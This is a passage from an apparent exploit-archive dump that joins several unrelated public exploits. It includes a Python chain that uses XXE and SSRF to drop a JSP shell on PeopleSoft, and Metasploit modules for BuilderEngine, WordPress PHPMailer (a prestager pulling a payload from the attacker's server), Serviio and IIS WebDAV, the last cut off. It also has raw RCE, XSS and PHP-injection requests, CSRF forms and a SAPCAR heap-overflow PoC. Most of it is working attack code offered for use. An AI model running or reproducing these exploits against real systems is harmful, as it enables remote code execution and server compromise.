return self.session.post(url=self.url + url, *args, **kwargs)
def matches(self, r, regex):
return re.findall(regex, r.text)
class Recon(Browser):
"""Grabs different informations about the target.
"""
def check_all(self):
self.site_id = None
self.local_port = None
self.check_version()
self.check_site_id()
self.check_local_infos()
def check_version(self):
"""Grabs PeopleTools' version.
"""
self.version = None
r = self.get('/PSEMHUB/hub')
m = self.matches(r, 'Registered Hosts Summary - ([0-9\.]+).</b>')
if m:
self.version = m[0]
o(':', 'PTools version: %s' % self.version)
else:
o('-', 'Unable to find version')
def check_site_id(self):
"""Grabs the site ID and the local port.
"""
if self.site_id:
return
r = self.get('/')
m = self.matches(r, '/([^/]+)/signon.html')
if not m:
raise RuntimeError('Unable to find site ID')
self.site_id = m[0]
o('+', 'Site ID: ' + self.site_id)
def check_local_infos(self):
"""Uses cookies to leak hostname and local port.
"""
if self.local_port:
return
r = self.get('/psp/%s/signon.html' % self.site_id)
for c, v in self.session.cookies.items():
if c.endswith('-PORTAL-PSJSESSIONID'):
self.local_host, self.local_port, *_ = c.split('-')
o('+', 'Target: %s:%s' % (self.local_host, self.local_port))
return
raise RuntimeError('Unable to get local hostname / port')
class AxisDeploy(Recon):
"""Uses the XXE to install Deploy, and uses its two useful methods to get
a shell.
"""
def init(self):
super().init()
self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10)
def random_string(self, size):
return ''.join(random.choice(string.ascii_letters) for _ in range(size))
def url_service(self, payload):
return 'http://localhost:%s/pspc/services/AdminService?method=%s' % (
self.local_port,
urllib.parse.quote_plus(self.psoap(payload))
)
def war_path(self, name):
# This is just a guess from the few PeopleSoft instances we audited.
# It might be wrong.
suffix = '.war' if self.version and self.version >= '8.50' else ''
return './applications/peoplesoft/%s%s' % (name, suffix)
def pxml(self, payload):
"""Converts an XML payload into a one-liner.
"""
payload = payload.strip().replace('\n', ' ')
payload = re.sub('\s+<', '<', payload, flags=re.S)
payload = re.sub('\s+', ' ', payload, flags=re.S)
return payload
def psoap(self, payload):
"""Converts a SOAP payload into a one-liner, including the comment trick
to allow attributes.
"""
payload = self.pxml(payload)
payload = '!-->%s' % payload[:-1]
return payload
def soap_service_deploy(self):
"""SOAP payload to deploy the service.
"""
return """
<ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="%s" provider="java:RPC">
<ns1:parameter name="className" value="%s"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
</ns1:deployment>
""" % (self.service_name, CLASS_NAME)
def soap_service_undeploy(self):
"""SOAP payload to undeploy the service.
"""
return """
<ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="%s"/>
</ns1:undeployment>
""" % (self.service_name, )
def xxe_ssrf(self, payload):
"""Runs the given AXIS deploy/undeploy payload through the XXE.
"""
data = """
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "%s">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
""" % self.url_service(payload)
r = self.post(
'/PSIGW/HttpListeningConnector',
data=self.pxml(data),
headers={
'Content-Type': 'application/xml'
}
)
def service_check(self):
"""Verifies that the service is correctly installed.
"""
r = self.get('/pspc/services')
return self.service_name in r.text
def service_deploy(self):
self.xxe_ssrf(self.soap_service_deploy())
if not self.service_check():
raise RuntimeError('Unable to deploy service')
o('+', 'Service deployed')
def service_undeploy(self):
if not self.local_port:
return
self.xxe_ssrf(self.soap_service_undeploy())
if self.service_check():
o('-', 'Unable to undeploy service')
return
o('+', 'Service undeployed')
def service_send(self, data):
"""Send data to the Axis endpoint.
"""
return self.post(
'/pspc/services/%s' % self.service_name,
data=data,
headers={
'SOAPAction': 'useless',
'Content-Type': 'application/xml'
}
)
def service_copy(self, path0, path1):
"""Copies one file to another.
"""
data = """
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:copy
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<in0 xsi:type="xsd:string">%s</in0>
<in1 xsi:type="xsd:string">%s</in1>
</api:copy>
</soapenv:Body>
</soapenv:Envelope>
""".strip() % (path0, path1)
response = self.service_send(data)
return '<ns1:copyResponse' in response.text
def service_main(self, tmp_path, tmp_dir):
"""Writes the payload at the end of the .xml file.
"""
data = """
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:main
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<api:in0>
<item xsi:type="xsd:string">%s</item>
<item xsi:type="xsd:string">%s</item>
<item xsi:type="xsd:string">%s.war</item>
<item xsi:type="xsd:string">something</item>
<item xsi:type="xsd:string">-addToEntityReg</item>
<item xsi:type="xsd:string"><![CDATA[%s]]></item>
</api:in0>
</api:main>
</soapenv:Body>
</soapenv:Envelope>
""".strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD)
response = self.service_send(data)
def build_shell(self):
"""Builds a SYSTEM shell.
"""
# On versions >= 8.50, using another extension than JSP got 70 bytes
# in return every time, for some reason.
# Using .jsp seems to trigger caching, thus the same pivot cannot be
# used to extract several files.
# Again, this is just from experience, nothing confirmed
pivot = '/%s.jsp' % self.random_string(20)
pivot_path = self.war_path('PSOL') + pivot
pivot_url = '/PSOL' + pivot
# 1: Copy portletentityregistry.xml to TMP
per = '/WEB-INF/data/portletentityregistry.xml'
per_path = self.war_path('pspc')
tmp_path = '../' * 20 + 'TEMP'
tmp_dir = self.random_string(20)
tmp_per = tmp_path + '/' + tmp_dir + per
if not self.service_copy(per_path + per, tmp_per):
raise RuntimeError('Unable to copy original XML file')
# 2: Add JSP payload
self.service_main(tmp_path, tmp_dir)
# 3: Copy XML to JSP in webroot
if not self.service_copy(tmp_per, pivot_path):
raise RuntimeError('Unable to copy modified XML file')
response = self.get(pivot_url)
if response.status_code != 200:
raise RuntimeError('Unable to access JSP shell')
o('+', 'Shell URL: ' + self.url + pivot_url)
class PeopleSoftRCE(AxisDeploy):
def __init__(self, url):
super().__init__(url)
def o(s, message):
if colorama:
c = COLORS[s]
s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL
print('%s %s' % (s, message))
x = PeopleSoftRCE(URL)
try:
x.check_all()
x.service_deploy()
x.build_shell()
except RuntimeError as e:
o('-', e)
finally:
x.service_undeploy()
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "BuilderEngine Arbitrary File Upload Vulnerability and execution",
'Description' => %q{
This module exploits a vulnerability found in BuilderEngine 3.5.0
via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious
file, which would result in arbitrary remote code execution under the context of
the web server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'metanubix', # PoC
'Marco Rivoli' # Metasploit
],
'References' =>
[
['EDB', '40390']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['BuilderEngine 3.5.0', {}]
],
'Privileged' => false,
'DisclosureDate' => "Sep 18 2016",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to BuilderEngine', '/'])
])
end
def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/')
})
if res && res.code == 200 && !res.body.blank?
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
uri = target_uri.path
peer = "#{rhost}:#{rport}"
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
data = Rex::MIME::Message.new
payload_encoded = Rex::Text.rand_text_alpha(1)
payload_encoded << "<?php "
payload_encoded << payload.encoded
payload_encoded << " ?>\r\n"
data.add_part(payload_encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")
post_data = data.to_s
res = send_request_cgi({
'uri' => normalize_uri(uri,'themes/dashboard/assets/plugins/jquery-file-upload/server/php/'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
if res
if res.code == 200 && res.body =~ /files|#{php_pagename}/
print_good("Our payload is at: #{php_pagename}. Calling payload...")
register_file_for_cleanup(php_pagename)
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with(Failure::Unknown, 'ERROR')
end
print_status("Calling payload...")
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri,'files/', php_pagename)
)
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress PHPMailer Host Header Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in WordPress
version 4.6 with Exim as an MTA via a spoofed Host header to PHPMailer,
a mail-sending library that is bundled with WordPress.
A valid WordPress username is required to exploit the vulnerability.
Additionally, due to the altered Host header, exploitation is limited to
the default virtual host, assuming the header isn't mangled in transit.
If the target is running Apache 2.2.32 or 2.4.24 and later, the server
may have HttpProtocolOptions set to Strict, preventing a Host header
containing parens from passing through, making exploitation unlikely.
},
'Author' => [
'Dawid Golunski', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE', '2016-10033'],
['URL', 'https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html'],
['URL', 'http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html'],
['URL', 'https://httpd.apache.org/docs/2.4/mod/core.html#httpprotocoloptions']
],
'DisclosureDate' => 'May 3 2017',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['WordPress 4.6 / Exim', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter_reverse_https',
'CMDSTAGER::FLAVOR' => 'wget'
},
'CmdStagerFlavor' => ['wget', 'curl']
))
register_options([
OptString.new('USERNAME', [true, 'WordPress username', 'admin'])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
])
deregister_options('VHOST', 'URIPATH')
end
def check
if (version = wordpress_version)
version = Gem::Version.new(version)
else
return CheckCode::Safe
end
vprint_status("WordPress #{version} installed at #{full_uri}")
if version <= Gem::Version.new('4.6')
CheckCode::Appears
else
CheckCode::Detected
end
end
def exploit
if check == CheckCode::Safe
print_error("Is WordPress installed at #{full_uri} ?")
return
end
# Since everything goes through strtolower(), we need lowercase
print_status("Generating #{cmdstager_flavor} command stager")
@cmdstager = generate_cmdstager(
'Path' => "/#{Rex::Text.rand_text_alpha_lower(8)}",
:temp => datastore['WritableDir'],
:file => File.basename(cmdstager_path),
:nospace => true
).join(';')
print_status("Generating and sending Exim prestager")
generate_prestager.each do |command|
vprint_status("Sending #{command}")
send_request_payload(command)
end
end
#
# Exploit methods
#
# Absolute paths are required for prestager commands due to execve(2)
def generate_prestager
prestager = []
# This is basically sh -c `wget` implemented using Exim string expansions
# Badchars we can't encode away: \ for \n (newline) and : outside strings
prestager << '/bin/sh -c ${run{/bin/echo}{${extract{-1}{$value}' \
"{${readsocket{inet:#{srvhost_addr}:#{srvport}}" \
"{get #{get_resource} http/1.0$value$value}}}}}}"
# CmdStager should rm the file, but it blocks on the payload, so we do it
prestager << "/bin/rm -f #{cmdstager_path}"
end
def send_request_payload(command)
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_login,
'headers' => {
'Host' => generate_exim_payload(command)
},
'vars_get' => {
'action' => 'lostpassword'
},
'vars_post' => {
'user_login' => datastore['USERNAME'],
'redirect_to' => '',
'wp-submit' => 'Get New Password'
}
)
if res && !res.redirect?
if res.code == 200 && res.body.include?('login_error')
fail_with(Failure::NoAccess, 'WordPress username may be incorrect')
elsif res.code == 400 && res.headers['Server'] =~ /^Apache/
fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict')
else
fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}")
end
end
res
end
def generate_exim_payload(command)
exim_payload = Rex::Text.rand_text_alpha(8)
exim_payload << "(#{Rex::Text.rand_text_alpha(8)} "
exim_payload << "-be ${run{#{encode_exim_payload(command)}}}"
exim_payload << " #{Rex::Text.rand_text_alpha(8)})"
end
# We can encode away the following badchars using string expansions
def encode_exim_payload(command)
command.gsub(/[\/ :]/,
'/' => '${substr{0}{1}{$spool_directory}}',
' ' => '${substr{10}{1}{$tod_log}}',
':' => '${substr{13}{1}{$tod_log}}'
)
end
#
# Utility methods
#
def cmdstager_flavor
datastore['CMDSTAGER::FLAVOR']
end
def cmdstager_path
@cmdstager_path ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
end
#
# Override methods
#
# Return CmdStager on first request, payload on second
def on_request_uri(cli, request)
if @cmdstager
print_good("Sending #{@cmdstager}")
send_response(cli, @cmdstager)
@cmdstager = nil
else
print_good("Sending payload #{datastore['PAYLOAD']}")
super
end
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Restlet-Framework/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Serviio Media Server checkStreamUrl Command Execution',
'Description' => %q{
This module exploits an unauthenticated remote command execution vulnerability
in the console component of Serviio Media Server versions 1.4 to 1.8 on
Windows operating systems.
The console service (on port 23423 by default) exposes a REST API which
which does not require authentication.
The 'action' API endpoint does not sufficiently sanitize user-supplied data
in the 'VIDEO' parameter of the 'checkStreamUrl' method. This parameter is
used in a call to cmd.exe resulting in execution of arbitrary commands.
This module has been tested successfully on Serviio Media Server versions
1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>', # Discovery and exploit
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
],
'References' =>
[
['OSVDB', '41961'],
['PACKETSTORM', '142387'],
['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5408.php'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3094']
],
'Platform' => 'win',
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => true,
'DisclosureDate' => 'May 3 2017',
'DefaultTarget' => 0))
register_options([ Opt::RPORT(23423) ])
end
def check
res = execute_command('')
unless res
vprint_status 'Connection failed'
return CheckCode::Unknown
end
if res.headers['Server'] !~ /Serviio/
vprint_status 'Target is not a Serviio Media Server'
return CheckCode::Safe
end
if res.headers['Server'] !~ /Windows/
vprint_status 'Target operating system is not vulnerable'
return CheckCode::Safe
end
if res.code != 200 || res.body !~ %r{<errorCode>603</errorCode>}
vprint_status 'Unexpected reply'
return CheckCode::Safe
end
if res.headers['Server'] =~ %r{Serviio/(1\.[4-8])}
vprint_status "#{peer} Serviio Media Server version #{$1}"
return CheckCode::Appears
end
CheckCode::Safe
end
def execute_command(cmd, opts = {})
data = { 'name' => 'checkStreamUrl', 'parameter' => ['VIDEO', "\" &#{cmd}&"] }
send_request_cgi('uri' => normalize_uri(target_uri.path, 'rest', 'action'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => data.to_json)
end
def exploit
fail_with(Failure::NotVulnerable, 'Target is not vulnerable') unless check == CheckCode::Appears
execute_cmdstager(:temp => '.', :linemax => 8000)
end
end
# Title: CMSMS 2.1.6 Multiple Vulnerabilities
# Date: 10-05-2017
# Tested on: Windows 8 64-bit
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
# Original write-up: https://osandamalith.com/2017/05/11/cmsms-2-1-6-multiple-vulnerabilities/
# CVE: CVE-2017-8912
Remote Code Execution
======================
POST /cmsms/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4 HTTP/1.1
_sk_=2a7da2216d41e0ac&userplugin_id=4&userplugin_name=aaa&code=passthru('dir')%3B&description=&run=1&apply=1&ajax=1
Stored XSS
==========
POST /cmsms/admin/addgroup.php HTTP/1.1
_sk_=92a32a8aaa87e958&group=%3Csvg%2Fonload%3Dalert%282%29%3E&description=%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&active=on&addgroup=true
Disclosure Timeline
====================
09-05-2017: Reported to the vendor
09-05-2017: Vendor doesn't accept XSS issues inside admin panel and claimed the RCE as a feature, not a bug :)
10-05-2017: Public disclosure
11-05-2017: Assigned CVE-2017-8912
BanManager WebUI 1.5.8 - PHP Code Injection & Stored XSS
# Exploit Title: BanManager WebUI - PHP Code Injection & Stored XSS
# Date: 2017-05-10
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/BanManagement/BanManager-WebUI
# Software Link: https://github.com/BanManagement/BanManager-WebUI.git
# Version: 1.5.8
# Tested on: Debian
### Vulnerability
Code executed via the updatesetting action will modify 'setting.php'.
In the process, there is not verification of the input value, so it is possible to insert php code.
### Vulnerable param
PHP Code Injection & Stored XSS
- footer
- buttons_before
- buttons_after
Only PHP Code Injection
- banextra
- muteextra
### Attack code
PAYLOAD: aaaaaa';$hacker=hwul//inject_php_code';
POST /vul_test/BanManager-WebUI/index.php?action=updatesettings&ajax=true&authid=3da541559918a808c2402bba5012f6c60b27661c HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/vul_test/BanManager-WebUI/index.php?action=admin
Content-Length: 168
Cookie: BanManagement=epnsf8sut1o05ps574h4861gu7
DNT: 1
Connection: keep-alive
type=mainsettings&iframe=on&utf8=on&footer=aaaaaa'%3B%24hacker%3Dhwul%2F%2Finject_php_code&latestbans=on&latestmutes=on&latestwarnings=on&buttons_before=&buttons_after=
### Result(in settings.php)
$settings['password'] = 'asdf'; // ACP Password (Keep it strong)
$settings['footer'] = 'aaaaaa';$hacker=hwul//inject_php_code';
$settings['admin_link'] = true; // Show the admin link in the footer of all page
$settings['bm_info'] = true; // Show ban management infomation aside 'Account Status'
# Exploit Title: gongwalker API Manager v1.1 - CSRF(Add/Delete/Edit API)
# Date: 2017-05-10
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/gongwalker/ApiManager
# Software Link: https://github.com/gongwalker/ApiManager.git
# Version: v1.1
# Tested on: Debian
### CSRF1 - ADD API Data
<form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=add&act=api&tag=2&type=do" method="POST">
<input type="hidden" name="num" value="test">
<input type="hidden" name="p%5Bname%5D%5B%5D" value="test">
<input type="hidden" name="p%5BparamType%5D%5B%5D" value="lkj">
<input type="hidden" name="memo" value="kj">
<input type="hidden" name="p%5Bdes%5D%5B%5D" value="">
<input type="hidden" name="type" value="GET">
<input type="hidden" name="url" value="test">
<input type="hidden" name="p%5Btype%5D%5B%5D" value="Y">
<input type="hidden" name="p%5Bdefault%5D%5B%5D" value="">
<input type="hidden" name="des" value="test">
<input type="hidden" name="re" value="lkj">
<input type="hidden" name="name" value="test">
<input type="submit" value="Replay!">
</form>
<!-- Auto-submit script:
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
-->
### CSRF2 - Delete API Data
<form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=apiDelete&act=ajax" method="POST">
<input type="hidden" name="id" value="3">
<input type="submit" value="Replay!">
</form>
<!-- Auto-submit script:
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
-->
### CSRF3 - EDIT API Data
<form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=edit&act=api&tag=2&type=do" method="POST">
<input type="hidden" name="num" value="001">
<input type="hidden" name="p%5Bname%5D%5B%5D" value="password">
<input type="hidden" name="p%5BparamType%5D%5B%5D" value="CSRF_PASSWORD">
<input type="hidden" name="memo" value="login_name \x4e0e email \x4e8c\x9009\x5176\x4e00654<script>alert('csrf')</script>">
<input type="hidden" name="p%5Bdes%5D%5B%5D" value="\x5bc6\x7801">
<input type="hidden" name="type" value="POST">
<input type="hidden" name="url" value="http://api.xxx.com">
<input type="hidden" name="p%5Btype%5D%5B%5D" value="Y">
<input type="hidden" name="p%5Bdefault%5D%5B%5D" value="">
<input type="hidden" name="des" value="\x4f1a\x5458\x767b\x5f55\x8c03\x7528\x6b64\x63a5\x53e3">
<input type="hidden" name="re" value="{\r\n \"status\": 1, \r\n \"info\": \"\x767b\x5f55\x6210\x529f\", \r\n \"data\": [ ]\r\n}">
<input type="hidden" name="name" value="\x4f1a\x5458\x767b\x5f55">
<input type="hidden" name="id" value="2">
<input type="submit" value="Replay!">
</form>
<!-- Auto-submit script:
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
-->
'''
Source: https://www.coresecurity.com/advisories/sap-sapcar-heap-based-buffer-overflow-vulnerability
1. Advisory Information
Title: SAP SAPCAR Heap Based Buffer Overflow Vulnerability
Advisory ID: CORE-2017-0001
Advisory URL: http://www.coresecurity.com/advisories/sap-sapcar-heap-based-buffer-overflow-vulnerability
Date published: 2017-05-10
Date of last update: 2017-05-10
Vendors contacted: SAP
Release mode: Coordinated release
2. Vulnerability Information
Class: Heap-based Buffer Overflow [CWE-122]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2017-8852
3. Vulnerability Description
SAP [1] distributes software and packages using an archive program called SAPCAR [2]. This program uses a custom archive file format. A memory corruption vulnerability was found in the parsing of specially crafted archive files, that could lead to local code execution scenarios.
4. Vulnerable Packages
SAPCAR archive tool version 721.510
Other products and versions might be affected, but they were not tested.
5. Vendor Information, Solutions and Workarounds
SAP published the following Security Notes:
2441560
6. Credits
This vulnerability was discovered and researched by Martin Gallo and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team.
7. Technical Description / Proof of Concept Code
This vulnerability is caused by a controlled heap buffer overflow when opening a specially crafted CAR archive file.
The following python code can be used to generate an archive file that triggers the vulnerability:
'''
#!/usr/bin/env python
from scapy.packet import Raw
from pysap.SAPCAR import *
# We write a file just to have some data to put into the archive
with open("string.txt", "w") as fd:
fd.write("Some string to compress")
# Create a new SAP CAR Archive
f = SAPCARArchive("poc.car", mode="wb", version=SAPCAR_VERSION_200)
# Add the text file
f.add_file("string.txt")
# Replace the blocks in the compressed file with the faulty blocks
f._sapcar.files0[0].blocks.append(Raw("D>" + "\x00"*30 + "\x00\xff"))
f._sapcar.files0[0].blocks.append(Raw("A" * 0xffff))
# Write the file
f.write()
'''
$ ./SAPCAR -tvf poc.car
SAPCAR: processing archive poc.car (version 2.00)
-rw-rw-r-- 23 09 Feb 2017 18:12 string.txt
Segmentation fault (core dumped)
The CAR archive files in its version 2.00 are comprised of an archive header and a list of archived files [3]. Each archived file has a header containing the file's metadata, and the content of the file is split among several blocks. When the SAPCAR program opens a file containing an archived file block different than the known ones [4], it reads an additional 32 bytes of file metadata. The program then uses the last two bytes of the data read as a size field, and copies that amount of data into a fixed-length buffer previously allocated in the heap. As the length field is not properly validated, the operation results in a heap-based buffer overflow.
It's worth mentioning that signature validation doesn't prevent the vulnerability to be triggered, as the signature file needs to be extracted from the archive file in order for the validation to be performed.
8. Report Timeline
2017-02-15: Core Security sent an initial notification to SAP.
2017-02-16: SAP confirmed the reception of the email and requested the draft version of the advisory.
2017-02-16: Core Security sent SAP a draft version of the advisory and informed them we would adjust our publication schedule according with the release of a solution to the issues.
2017-02-17: SAP confirmed reception of the draft advisory and assigned the incident ticket 1780137949 for tracking this issue. They will answer back once the team analyze the report.
2017-03-06: Core Security asked SAP for news about the advisory and publication date.
2017-03-08: SAP answered back saying they had troubles generating the SAPCAR archive. They asked for a pre-built one.
2017-03-08: Core Security researcher sent a PoC SAPCAR archive that can trigger the vulnerability. SAP confirmed reception.
2017-03-08: SAP asked for GPG key for one of the researchers involved in the discovery. Core Security sent (again) the key. SAP confirmed reception.
2017-03-13: SAP confirmed they could reproduce the vulnerability. They said they cannot commit to a publication date yet, but they aim at May 9th, although it could fall in April Patch day or postpone after May.
2017-03-13: Core Security thanked SAP for the tentative date and informed them we would publish our security advisory accordingly upon their confirmation.
2017-04-03: Core Security asked SAP for an update about the final publication date for this vulnerability's patch.
2017-04-05: SAP confirmed they will be able to release the fix in May, although there could be chances to release it in April. They will confirm as soon as possible.
2017-04-05: Core Security thanked SAP for the update and asked for a security note number and CVE (if available) to include in the final advisory.
2017-04-10: SAP informed the security note for this vulnerability and confirmed they will be releasing the fix in May 9th. Core Security confirmed reception.
2017-05-08: SAP informed the release of the security note and the credits included in it. Core Security confirmed reception.
2017-05-10: Advisory CORE-2017-0001 published.
9. References
[1] http://go.sap.com/.
[2] https://launchpad.support.sap.com/#/softwarecenter/template/products/_APP=00200682500000001943%26_EVENT=DISPHIER%26HEADER=N%26FUNCTIONBAR=Y%26EVENT=TREE%26TMPL=INTRO_SWDC_SP_AD%26V=MAINT%26REFERER=CATALOG-PATCHES%26ROUTENAME=products/By%20Category%20-%20Additional%20Components.
[3] https://www.coresecurity.com/corelabs-research/publications/deep-dive-sap-archive-file-formats.
[4] https://github.com/CoreSecurity/pysap/blob/master/pysap/SAPCAR.py#L107.
10. About CoreLabs
CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/core-labs.
11. About Core Security
Courion and Core Security have rebranded the combined company, changing its name to Core Security, to reflect the company's strong commitment to providing enterprises with market-leading, threat-aware, identity, access and vulnerability management solutions that enable actionable intelligence and context needed to manage security risks across the enterprise. Core Security's analytics-driven approach to security enables customers to manage access and identify vulnerabilities, in order to minimize risks and maintain continuous compliance. Solutions include Multi-Factor Authentication, Provisioning, Identity Governance and Administration (IGA), Identity and Access Intelligence (IAI), and Vulnerability Management (VM). The combination of these solutions provides context and shared intelligence through analytics, giving customers a more comprehensive view of their security posture so they can make more informed, prioritized, and better security remediation decisions.
Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com.
12. Disclaimer
The contents of this advisory are copyright (c) 2017 Core Security and (c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
'''
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
'Description' => %q{
Buffer overflow in the ScStoragePathFromUrl function
in the WebDAV service in Internet Information Services (IIS) 6.0
in Microsoft Windows Server 2003 R2 allows remote attackers to
execute arbitrary code via a long header beginning with
"If: <http://" in a PROPFIND request, as exploited in the
wild in July or August 2016.
Original exploit by Zhiniang Peng and Chen Wu.
},
'Author' =>
[
'Zhiniang Peng', # Original author
'Chen Wu', # Original author
'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module
'firefart', # metasploit module
'zcgonvh <zcgonvh@qq.com>', # metasploit module
'Rich Whitcroft' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7269' ],
[ 'BID', '97127' ],
[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
